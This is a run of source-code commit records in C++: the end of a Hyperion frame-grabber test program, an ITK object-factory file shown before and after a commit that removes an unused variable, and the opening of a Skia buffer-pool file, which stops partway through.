\"DISPMANX_FLIP_HRIZ | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_FLIP_HRIZ << std::endl;\n\t\t\tstd::cout << \"DISPMANX_FLIP_VERT | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_FLIP_VERT << std::endl;\n\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_NO_YUV | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_NO_YUV << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_NO_RGB | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_NO_RGB << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_FILL | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_FILL << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_SWAP_RED_BLUE | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_SWAP_RED_BLUE << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_PACK | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_PACK << std::endl;\n\t\t\treturn 0;\n\t\t}\n\t\tif (argFlags.isSet())\n\t\t{\n\t\t\tQString flagStr = QString::fromStdString(argFlags.getValue());\n\n\t\t\tbool ok = false;\n\/\/\t\t\tgrabFlags = flagStr.toInt(&ok);\n\t\t\tif (flagStr.startsWith(\"0x\"))\n\t\t\t{\n\t\t\t\tgrabFlags = flagStr.toInt(&ok, 16);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tgrabFlags = flagStr.toInt(&ok, 10);\n\t\t\t}\n\t\t\tstd::cout << \"Resulting flags: \" << grabFlags << \" (=0x\" << std::hex << std::setfill('0') << std::setw(8) << grabFlags << \")\" << std::dec << std::endl;\n\t\t\tif (!ok)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Failed to parse flags (\" << flagStr.toStdString().c_str() << \")\" << std::endl;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tgrabCount = argCount.getValue();\n\t}\n\tcatch (const std::runtime_error & e)\n\t{\n\t\t\/\/ An error occured. Display error and quit\n\t\tstd::cerr << e.what() << std::endl;\n\t\treturn 1;\n\t}\n\n\n\tDispmanxFrameGrabber frameGrabber(64, 64);\n\tframeGrabber.setFlags(grabFlags);\n\n\tunsigned iFrame = 0;\n\tQImage qImage(64, 64, QImage::Format_ARGB32);\n\tImage<ColorRgba> imageRgba(64, 64);\n\n\tfor (int i=0; i<grabCount || grabCount < 0; ++i)\n\t{\n\t\tframeGrabber.grabFrame(imageRgba);\n\n\t\tfor (int iScanline=0; iScanline<qImage.height(); ++iScanline)\n\t\t{\n\t\t\tunsigned char* scanLinePtr = qImage.scanLine(iScanline);\n\t\t\tmemcpy(scanLinePtr, imageRgba.memptr()+imageRgba.width()*iScanline, imageRgba.width()*sizeof(ColorRgba));\n\t\t}\n\n\t\tconst QImage qImageSwp = qImage.rgbSwapped();\n\t\tqImageSwp.save(QString(\"HYPERION_f0x%1_%2.png\").arg(grabFlags, 8, 16, QChar('0')).arg(iFrame));\n\t\t++iFrame;\n\n\t\ttimespec sleepTime;\n\t\tsleepTime.tv_sec = 1;\n\t\tsleepTime.tv_nsec = 0;\n\t\tnanosleep(&sleepTime, NULL);\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkObjectFactoryBase.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) 2000 National Library of Medicine\n All rights reserved.\n\n See COPYRIGHT.txt for copyright details.\n\n=========================================================================*\/\n\/\/ Disable warning for long symbol names in this file only\n#ifdef _MSC_VER\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkObjectFactoryBase.h\"\n#include \"itkDynamicLoader.h\"\n#include \"itkDirectory.h\"\n#include \"itkVersion.h\"\n#include <stdlib.h>\n#include <ctype.h>\n#include <algorithm>\n#include <map>\n\n\n\/\/ Create a sub class to shrink the size of the symbols\n\/\/ Also, so a forward reference can be put in itkObjectFactoryBase.h\n\/\/ and a pointer member can be used. This avoids other\n\/\/ classes including <map> and getting long symbol warnings.\ntypedef std::multimap<std::string, itkObjectFactoryBase::OverrideInformation> itkStringOverMap;\n\nclass itkOverRideMap : public itkStringOverMap\n{\npublic:\n};\n\n\n\/\/ Initialize static list of factories.\n\/\/\nstd::list<itkObjectFactoryBase*>* \n itkObjectFactoryBase::m_RegisteredFactories = 0;\n\n\/\/----------------------------------------------------------------------------\n\/\/ Create an instance of a named itk object using the loaded\n\/\/ factories\nitkObject* \nitkObjectFactoryBase\n::CreateInstance(const char* itkclassname)\n{\n if ( !itkObjectFactoryBase::m_RegisteredFactories )\n {\n itkObjectFactoryBase::Initialize();\n }\n \n for ( std::list<itkObjectFactoryBase*>::iterator \n i = m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n itkObject* newobject = (*i)->CreateObject(itkclassname);\n if(newobject)\n {\n return newobject;\n }\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ A one time initialization method. \nvoid \nitkObjectFactoryBase\n::Initialize()\n{\n \/\/ Don't do anything if we are already initialized\n if ( itkObjectFactoryBase::m_RegisteredFactories )\n {\n return;\n }\n \n itkObjectFactoryBase::m_RegisteredFactories =\n new std::list<itkObjectFactoryBase*>;\n itkObjectFactoryBase::RegisterDefaults();\n itkObjectFactoryBase::LoadDynamicFactories();\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Register any factories that are always present in ITK like\n\/\/ the OpenGL factory, currently this is not done.\nvoid \nitkObjectFactoryBase\n::RegisterDefaults()\n{\n}\n\n\/\/ Load all libraries in ITK_AUTOLOAD_PATH\nvoid \nitkObjectFactoryBase\n::LoadDynamicFactories()\n{\n \/\/ follow PATH conventions\n#ifdef _WIN32\n char PathSeparator = ';';\n#else\n char PathSeparator = ':';\n#endif\n \n std::string LoadPath;\n if (getenv(\"ITK_AUTOLOAD_PATH\"))\n {\n LoadPath = getenv(\"ITK_AUTOLOAD_PATH\");\n }\n else\n {\n return;\n }\n\n if(LoadPath.size() == 0)\n {\n return;\n }\n std::string::size_type EndSeparatorPosition = 0;\n std::string::size_type StartSeparatorPosition = 0;\n while ( StartSeparatorPosition != std::string::npos )\n {\n StartSeparatorPosition = EndSeparatorPosition;\n \/\/ find PathSeparator in LoadPath\n EndSeparatorPosition = LoadPath.find(PathSeparator, EndSeparatorPosition);\n if(EndSeparatorPosition != std::string::npos)\n {\n EndSeparatorPosition = LoadPath.size();\n }\n std::string CurrentPath = \n LoadPath.substr(StartSeparatorPosition, EndSeparatorPosition);\n itkObjectFactoryBase::LoadLibrariesInPath(CurrentPath.c_str());\n \/\/ move past separator\n EndSeparatorPosition++;\n }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ A file scope helper function to concat path and file into\n\/\/ a full path\nstatic std::string \nCreateFullPath(const char* path, const char* file)\n{\n std::string ret;\n#ifdef _WIN32\n const char sep = '\\\\';\n#else\n const char sep = '\/';\n#endif\n \/\/ make sure the end of path is a separator\n ret = path;\n if ( ret[ret.size()-1] != sep )\n {\n ret.append(1, sep);\n }\n ret.append(file);\n return ret;\n}\n\n\/\/ A file scope typedef to make the cast code to the load\n\/\/ function cleaner to read.\ntypedef itkObjectFactoryBase* (* ITK_LOAD_FUNCTION)();\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ A file scoped function to determine if a file has\n\/\/ the shared library extension in its name, this converts name to lower\n\/\/ case before the compare, itkDynamicLoader always uses\n\/\/ lower case for LibExtension values. \ninline bool \nitkNameIsSharedLibrary(const char* name)\n{\n std::string sname = name;\n if ( sname.find(itkDynamicLoader::LibExtension()) != std::string::npos )\n {\n return true;\n }\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::LoadLibrariesInPath(const char* path)\n{\n itkDirectory* dir = itkDirectory::New();\n if ( !dir->Load(path) )\n {\n return;\n }\n \n \/\/ Attempt to load each file in the directory as a shared library\n for ( int i = 0; i < dir->GetNumberOfFiles(); i++ )\n {\n const char* file = dir->GetFile(i);\n \/\/ try to make sure the file has at least the extension\n \/\/ for a shared library in it.\n if ( itkNameIsSharedLibrary(file) )\n {\n std::string fullpath = CreateFullPath(path, file);\n itkLibHandle lib = itkDynamicLoader::OpenLibrary(fullpath.c_str());\n if ( lib )\n {\n \/\/ Look for the symbol itkLoad in the library\n ITK_LOAD_FUNCTION loadfunction\n = (ITK_LOAD_FUNCTION)itkDynamicLoader::GetSymbolAddress(lib, \"itkLoad\");\n \/\/ if the symbol is found call it to create the factory\n \/\/ from the library\n if ( loadfunction )\n {\n itkObjectFactoryBase* newfactory = (*loadfunction)();\n \/\/ initialize class members if load worked\n newfactory->m_LibraryHandle = (void*)lib;\n newfactory->m_LibraryPath = fullpath;\n newfactory->m_LibraryDate = 0; \/\/ unused for now...\n itkObjectFactoryBase::RegisterFactory(newfactory);\n }\n }\n }\n }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Recheck the ITK_AUTOLOAD_PATH for new libraries\nvoid \nitkObjectFactoryBase\n::ReHash()\n{\n itkObjectFactoryBase::UnRegisterAllFactories();\n itkObjectFactoryBase::Initialize();\n}\n\n\/\/ initialize class members\nitkObjectFactoryBase::itkObjectFactoryBase()\n{\n m_LibraryHandle = 0;\n m_LibraryDate = 0;\n m_OverrideMap = new itkOverRideMap;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Unload the library and free the path string\nitkObjectFactoryBase\n::~itkObjectFactoryBase()\n{\n itkDynamicLoader::CloseLibrary((itkLibHandle)m_LibraryHandle);\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Add a factory to the registered list\nvoid \nitkObjectFactoryBase\n::RegisterFactory(itkObjectFactoryBase* factory)\n{\n if ( factory->m_LibraryHandle == 0 )\n {\n const char* nonDynamicName = \"Non-Dynamicly loaded factory\";\n factory->m_LibraryPath = nonDynamicName;\n }\n if ( strcmp(factory->GetITKSourceVersion(), \n itkVersion::GetITKSourceVersion()) != 0 )\n {\n itkWarningMacro(<< \"Possible incompatible factory load:\" \n << \"\\nRunning itk version :\\n\" << itkVersion::GetITKSourceVersion() \n << \"\\nLoaded Factory version:\\n\" << factory->GetITKSourceVersion()\n << \"\\nLoading factory:\\n\" << factory->m_LibraryPath << \"\\n\");\n }\n itkObjectFactoryBase::Initialize();\n itkObjectFactoryBase::m_RegisteredFactories->push_back(factory);\n factory->Register();\n}\n\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::PrintSelf(std::ostream& os, itkIndent indent)\n{\n itkObject::PrintSelf(os, indent);\n\n os << indent << \"Factory DLL path: \" << m_LibraryPath << \"\\n\";\n os << indent << \"Factory description: \" << this->GetDescription() << std::endl;\n\n int num = m_OverrideMap->size();\n os << indent << \"Factory overides \" << num << \" classes:\" << std::endl;\n\n indent = indent.GetNextIndent();\n for(itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i)\n {\n os << indent << \"Class : \" << (*i).first \n << std::endl;\n os << indent << \"Overriden with: \" << (*i).second.m_OverrideWithName\n << std::endl;\n os << indent << \"Enable flag: \" << (*i).second.m_EnabledFlag \n << std::endl;\n os << std::endl;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::UnRegisterFactory(itkObjectFactoryBase* factory)\n{ \n for ( std::list<itkObjectFactoryBase*>::iterator i = \n m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n if ( factory == *i )\n {\n m_RegisteredFactories->remove(factory);\n factory->UnRegister();\n return;\n }\n }\n}\n \n\n\/\/----------------------------------------------------------------------------\n\/\/ unregister all factories and delete the RegisteredFactories list\nvoid \nitkObjectFactoryBase\n::UnRegisterAllFactories()\n{\n itkObjectFactoryBase* factory = 0; \n for ( std::list<itkObjectFactoryBase*>::iterator i \n = m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n (*i)->UnRegister();\n }\n delete itkObjectFactoryBase::m_RegisteredFactories;\n itkObjectFactoryBase::m_RegisteredFactories = 0;\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::RegisterOverride(const char* classOverride,\n const char* subclass,\n const char* description,\n bool enableFlag,\n itkCreateObjectFunctionBase*\n createFunction)\n{\n itkObjectFactoryBase::OverrideInformation info;\n info.m_Description = description;\n info.m_OverrideWithName = subclass;\n info.m_EnabledFlag = enableFlag;\n info.m_CreateObject = createFunction;\n m_OverrideMap->insert(itkOverRideMap::value_type(classOverride, info));\n}\n\n\/\/----------------------------------------------------------------------------\nitkObject* \nitkObjectFactoryBase\n::CreateObject(const char* itkclassname)\n{\n m_OverrideMap->find(itkclassname);\n itkOverRideMap::iterator pos = m_OverrideMap->find(itkclassname);\n if ( pos != m_OverrideMap->end() )\n {\n return (*pos).second.m_CreateObject->CreateObject();\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::SetEnableFlag(bool flag,\n const char* className,\n const char* subclassName)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n if ( (*i).second.m_OverrideWithName == subclassName )\n {\n (*i).second.m_EnabledFlag = flag;\n }\n }\n}\n\n\/\/----------------------------------------------------------------------------\nbool \nitkObjectFactoryBase\n::GetEnableFlag(const char* className, const char* subclassName)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n if ( (*i).second.m_OverrideWithName == subclassName )\n {\n return (*i).second.m_EnabledFlag;\n }\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::Disable(const char* className)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n (*i).second.m_EnabledFlag = 0;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nstd::list<itkObjectFactoryBase*> \nitkObjectFactoryBase\n::GetRegisteredFactories()\n{\n return *itkObjectFactoryBase::m_RegisteredFactories;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of classes that this factory overrides.\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideNames()\n{\n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).first);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of the names of classes that override classes.\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideWithNames()\n{\n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).second.m_OverrideWithName);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Retrun a list of descriptions for class overrides\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideDescriptions()\n{ \n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).second.m_Description);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of enable flags\nstd::list<bool> \nitkObjectFactoryBase\n::GetEnableFlags()\n{\n std::list<bool> ret;\n for( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i)\n {\n ret.push_back((*i).second.m_EnabledFlag);\n }\n return ret;\n}\n\n<commit_msg>ENH: unused variable 'factory' removed.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkObjectFactoryBase.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) 2000 National Library of Medicine\n All rights reserved.\n\n See COPYRIGHT.txt for copyright details.\n\n=========================================================================*\/\n\/\/ Disable warning for long symbol names in this file only\n#ifdef _MSC_VER\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkObjectFactoryBase.h\"\n#include \"itkDynamicLoader.h\"\n#include \"itkDirectory.h\"\n#include \"itkVersion.h\"\n#include <stdlib.h>\n#include <ctype.h>\n#include <algorithm>\n#include <map>\n\n\n\/\/ Create a sub class to shrink the size of the symbols\n\/\/ Also, so a forward reference can be put in itkObjectFactoryBase.h\n\/\/ and a pointer member can be used. This avoids other\n\/\/ classes including <map> and getting long symbol warnings.\ntypedef std::multimap<std::string, itkObjectFactoryBase::OverrideInformation> itkStringOverMap;\n\nclass itkOverRideMap : public itkStringOverMap\n{\npublic:\n};\n\n\n\/\/ Initialize static list of factories.\n\/\/\nstd::list<itkObjectFactoryBase*>* \n itkObjectFactoryBase::m_RegisteredFactories = 0;\n\n\/\/----------------------------------------------------------------------------\n\/\/ Create an instance of a named itk object using the loaded\n\/\/ factories\nitkObject* \nitkObjectFactoryBase\n::CreateInstance(const char* itkclassname)\n{\n if ( !itkObjectFactoryBase::m_RegisteredFactories )\n {\n itkObjectFactoryBase::Initialize();\n }\n \n for ( std::list<itkObjectFactoryBase*>::iterator \n i = m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n itkObject* newobject = (*i)->CreateObject(itkclassname);\n if(newobject)\n {\n return newobject;\n }\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ A one time initialization method. \nvoid \nitkObjectFactoryBase\n::Initialize()\n{\n \/\/ Don't do anything if we are already initialized\n if ( itkObjectFactoryBase::m_RegisteredFactories )\n {\n return;\n }\n \n itkObjectFactoryBase::m_RegisteredFactories =\n new std::list<itkObjectFactoryBase*>;\n itkObjectFactoryBase::RegisterDefaults();\n itkObjectFactoryBase::LoadDynamicFactories();\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Register any factories that are always present in ITK like\n\/\/ the OpenGL factory, currently this is not done.\nvoid \nitkObjectFactoryBase\n::RegisterDefaults()\n{\n}\n\n\/\/ Load all libraries in ITK_AUTOLOAD_PATH\nvoid \nitkObjectFactoryBase\n::LoadDynamicFactories()\n{\n \/\/ follow PATH conventions\n#ifdef _WIN32\n char PathSeparator = ';';\n#else\n char PathSeparator = ':';\n#endif\n \n std::string LoadPath;\n if (getenv(\"ITK_AUTOLOAD_PATH\"))\n {\n LoadPath = getenv(\"ITK_AUTOLOAD_PATH\");\n }\n else\n {\n return;\n }\n\n if(LoadPath.size() == 0)\n {\n return;\n }\n std::string::size_type EndSeparatorPosition = 0;\n std::string::size_type StartSeparatorPosition = 0;\n while ( StartSeparatorPosition != std::string::npos )\n {\n StartSeparatorPosition = EndSeparatorPosition;\n \/\/ find PathSeparator in LoadPath\n EndSeparatorPosition = LoadPath.find(PathSeparator, EndSeparatorPosition);\n if(EndSeparatorPosition != std::string::npos)\n {\n EndSeparatorPosition = LoadPath.size();\n }\n std::string CurrentPath = \n LoadPath.substr(StartSeparatorPosition, EndSeparatorPosition);\n itkObjectFactoryBase::LoadLibrariesInPath(CurrentPath.c_str());\n \/\/ move past separator\n EndSeparatorPosition++;\n }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ A file scope helper function to concat path and file into\n\/\/ a full path\nstatic std::string \nCreateFullPath(const char* path, const char* file)\n{\n std::string ret;\n#ifdef _WIN32\n const char sep = '\\\\';\n#else\n const char sep = '\/';\n#endif\n \/\/ make sure the end of path is a separator\n ret = path;\n if ( ret[ret.size()-1] != sep )\n {\n ret.append(1, sep);\n }\n ret.append(file);\n return ret;\n}\n\n\/\/ A file scope typedef to make the cast code to the load\n\/\/ function cleaner to read.\ntypedef itkObjectFactoryBase* (* ITK_LOAD_FUNCTION)();\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ A file scoped function to determine if a file has\n\/\/ the shared library extension in its name, this converts name to lower\n\/\/ case before the compare, itkDynamicLoader always uses\n\/\/ lower case for LibExtension values. \ninline bool \nitkNameIsSharedLibrary(const char* name)\n{\n std::string sname = name;\n if ( sname.find(itkDynamicLoader::LibExtension()) != std::string::npos )\n {\n return true;\n }\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::LoadLibrariesInPath(const char* path)\n{\n itkDirectory* dir = itkDirectory::New();\n if ( !dir->Load(path) )\n {\n return;\n }\n \n \/\/ Attempt to load each file in the directory as a shared library\n for ( int i = 0; i < dir->GetNumberOfFiles(); i++ )\n {\n const char* file = dir->GetFile(i);\n \/\/ try to make sure the file has at least the extension\n \/\/ for a shared library in it.\n if ( itkNameIsSharedLibrary(file) )\n {\n std::string fullpath = CreateFullPath(path, file);\n itkLibHandle lib = itkDynamicLoader::OpenLibrary(fullpath.c_str());\n if ( lib )\n {\n \/\/ Look for the symbol itkLoad in the library\n ITK_LOAD_FUNCTION loadfunction\n = (ITK_LOAD_FUNCTION)itkDynamicLoader::GetSymbolAddress(lib, \"itkLoad\");\n \/\/ if the symbol is found call it to create the factory\n \/\/ from the library\n if ( loadfunction )\n {\n itkObjectFactoryBase* newfactory = (*loadfunction)();\n \/\/ initialize class members if load worked\n newfactory->m_LibraryHandle = (void*)lib;\n newfactory->m_LibraryPath = fullpath;\n newfactory->m_LibraryDate = 0; \/\/ unused for now...\n itkObjectFactoryBase::RegisterFactory(newfactory);\n }\n }\n }\n }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Recheck the ITK_AUTOLOAD_PATH for new libraries\nvoid \nitkObjectFactoryBase\n::ReHash()\n{\n itkObjectFactoryBase::UnRegisterAllFactories();\n itkObjectFactoryBase::Initialize();\n}\n\n\/\/ initialize class members\nitkObjectFactoryBase::itkObjectFactoryBase()\n{\n m_LibraryHandle = 0;\n m_LibraryDate = 0;\n m_OverrideMap = new itkOverRideMap;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Unload the library and free the path string\nitkObjectFactoryBase\n::~itkObjectFactoryBase()\n{\n itkDynamicLoader::CloseLibrary((itkLibHandle)m_LibraryHandle);\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Add a factory to the registered list\nvoid \nitkObjectFactoryBase\n::RegisterFactory(itkObjectFactoryBase* factory)\n{\n if ( factory->m_LibraryHandle == 0 )\n {\n const char* nonDynamicName = \"Non-Dynamicly loaded factory\";\n factory->m_LibraryPath = nonDynamicName;\n }\n if ( strcmp(factory->GetITKSourceVersion(), \n itkVersion::GetITKSourceVersion()) != 0 )\n {\n itkWarningMacro(<< \"Possible incompatible factory load:\" \n << \"\\nRunning itk version :\\n\" << itkVersion::GetITKSourceVersion() \n << \"\\nLoaded Factory version:\\n\" << factory->GetITKSourceVersion()\n << \"\\nLoading factory:\\n\" << factory->m_LibraryPath << \"\\n\");\n }\n itkObjectFactoryBase::Initialize();\n itkObjectFactoryBase::m_RegisteredFactories->push_back(factory);\n factory->Register();\n}\n\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::PrintSelf(std::ostream& os, itkIndent indent)\n{\n itkObject::PrintSelf(os, indent);\n\n os << indent << \"Factory DLL path: \" << m_LibraryPath << \"\\n\";\n os << indent << \"Factory description: \" << this->GetDescription() << std::endl;\n\n int num = m_OverrideMap->size();\n os << indent << \"Factory overides \" << num << \" classes:\" << std::endl;\n\n indent = indent.GetNextIndent();\n for(itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i)\n {\n os << indent << \"Class : \" << (*i).first \n << std::endl;\n os << indent << \"Overriden with: \" << (*i).second.m_OverrideWithName\n << std::endl;\n os << indent << \"Enable flag: \" << (*i).second.m_EnabledFlag \n << std::endl;\n os << std::endl;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::UnRegisterFactory(itkObjectFactoryBase* factory)\n{ \n for ( std::list<itkObjectFactoryBase*>::iterator i = \n m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n if ( factory == *i )\n {\n m_RegisteredFactories->remove(factory);\n factory->UnRegister();\n return;\n }\n }\n}\n \n\n\/\/----------------------------------------------------------------------------\n\/\/ unregister all factories and delete the RegisteredFactories list\nvoid \nitkObjectFactoryBase\n::UnRegisterAllFactories()\n{\n for ( std::list<itkObjectFactoryBase*>::iterator i \n = m_RegisteredFactories->begin();\n i != m_RegisteredFactories->end(); ++i )\n {\n (*i)->UnRegister();\n }\n delete itkObjectFactoryBase::m_RegisteredFactories;\n itkObjectFactoryBase::m_RegisteredFactories = 0;\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::RegisterOverride(const char* classOverride,\n const char* subclass,\n const char* description,\n bool enableFlag,\n itkCreateObjectFunctionBase*\n createFunction)\n{\n itkObjectFactoryBase::OverrideInformation info;\n info.m_Description = description;\n info.m_OverrideWithName = subclass;\n info.m_EnabledFlag = enableFlag;\n info.m_CreateObject = createFunction;\n m_OverrideMap->insert(itkOverRideMap::value_type(classOverride, info));\n}\n\n\/\/----------------------------------------------------------------------------\nitkObject* \nitkObjectFactoryBase\n::CreateObject(const char* itkclassname)\n{\n m_OverrideMap->find(itkclassname);\n itkOverRideMap::iterator pos = m_OverrideMap->find(itkclassname);\n if ( pos != m_OverrideMap->end() )\n {\n return (*pos).second.m_CreateObject->CreateObject();\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::SetEnableFlag(bool flag,\n const char* className,\n const char* subclassName)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n if ( (*i).second.m_OverrideWithName == subclassName )\n {\n (*i).second.m_EnabledFlag = flag;\n }\n }\n}\n\n\/\/----------------------------------------------------------------------------\nbool \nitkObjectFactoryBase\n::GetEnableFlag(const char* className, const char* subclassName)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n if ( (*i).second.m_OverrideWithName == subclassName )\n {\n return (*i).second.m_EnabledFlag;\n }\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid \nitkObjectFactoryBase\n::Disable(const char* className)\n{\n itkOverRideMap::iterator start = m_OverrideMap->lower_bound(className);\n itkOverRideMap::iterator end = m_OverrideMap->upper_bound(className);\n for ( itkOverRideMap::iterator i = start; i != end; ++i )\n {\n (*i).second.m_EnabledFlag = 0;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nstd::list<itkObjectFactoryBase*> \nitkObjectFactoryBase\n::GetRegisteredFactories()\n{\n return *itkObjectFactoryBase::m_RegisteredFactories;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of classes that this factory overrides.\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideNames()\n{\n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).first);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of the names of classes that override classes.\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideWithNames()\n{\n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).second.m_OverrideWithName);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Retrun a list of descriptions for class overrides\nstd::list<std::string> \nitkObjectFactoryBase\n::GetClassOverrideDescriptions()\n{ \n std::list<std::string> ret;\n for ( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i )\n {\n ret.push_back((*i).second.m_Description);\n }\n return ret;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Return a list of enable flags\nstd::list<bool> \nitkObjectFactoryBase\n::GetEnableFlags()\n{\n std::list<bool> ret;\n for( itkOverRideMap::iterator i = m_OverrideMap->begin();\n i != m_OverrideMap->end(); ++i)\n {\n ret.push_back((*i).second.m_EnabledFlag);\n }\n return ret;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\n\/*\n * Copyright 2010 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"GrBufferAllocPool.h\"\n#include \"GrTypes.h\"\n#include \"GrVertexBuffer.h\"\n#include \"GrIndexBuffer.h\"\n#include \"GrGpu.h\"\n\n#if GR_DEBUG\n #define VALIDATE validate\n#else\n static void VALIDATE(bool x = false) {}\n#endif\n\n\/\/ page size\n#define GrBufferAllocPool_MIN_BLOCK_SIZE ((size_t)1 << 12)\n\nGrBufferAllocPool::GrBufferAllocPool(GrGpu* gpu,\n BufferType bufferType,\n bool frequentResetHint,\n size_t blockSize,\n int preallocBufferCnt) :\n fBlocks(GrMax(8, 2*preallocBufferCnt)) {\n\n GrAssert(NULL != gpu);\n fGpu = gpu;\n fGpu->ref();\n fGpuIsReffed = 